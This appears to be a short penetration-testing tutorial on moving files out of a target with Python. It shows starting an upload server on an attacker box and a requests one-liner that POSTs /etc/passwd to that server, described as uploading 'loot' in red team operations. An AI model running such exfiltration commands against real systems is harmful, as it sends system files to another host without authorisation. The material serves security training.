Uploading Files

Uploading Files with Python3 — Made Easy!

Whether you’re in a CTF, a red team operation, or just doing sysadmin magic, uploading files via Python can come in very handy. 💪📤

Thanks to the awesome requests module, Python3 makes file uploads super simple.

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🚀 Start the Upload Server

First, start a Python-based upload server on your Pwnbox:

python3 -m uploadserver

📌 Output:

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

🟢 You’re now ready to receive uploads!

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⚡ Python One-Liner Upload

Here’s how you upload a file in a single command:

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

🎯 This command uploads the /etc/passwd file to your uploadserver.

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🧠 Let’s Break It Down (Line-by-Line)

# Step 1: Import the requests module
import requests

# Step 2: Define the target upload URL
URL = "http://192.168.49.128:8000/upload"

# Step 3: Open the file in binary read mode
file = open("/etc/passwd", "rb")

# Step 4: Send the file using a POST request
r = requests.post(URL, files={"files": file})

💡 files={"files": file} matches the expected form field name "files" on the uploadserver. If the server expects something else (like "upload"), you’d need to change that!

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🛠️ You Can Use This Anywhere

Use this technique to:

• 🔼 Upload loot during red team ops

• 📁 Transfer evidence during forensics

• 🔧 Move configs while sysadmin-ing

• 🧪 Automate uploads in security tools

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💬 Final Thought

Mastering code-based file transfers (upload & download) is 🔑 for:

• Red Teaming 👹

• Pen Testing 🔍

• CTFs 🧩

• IR & Forensics 🧑‍💻

• Real-world Sysadmin tasks 🛠️

Let me know if you'd like an "Upload Toolkit" example in Ruby, PHP, or Bash next! 💼📤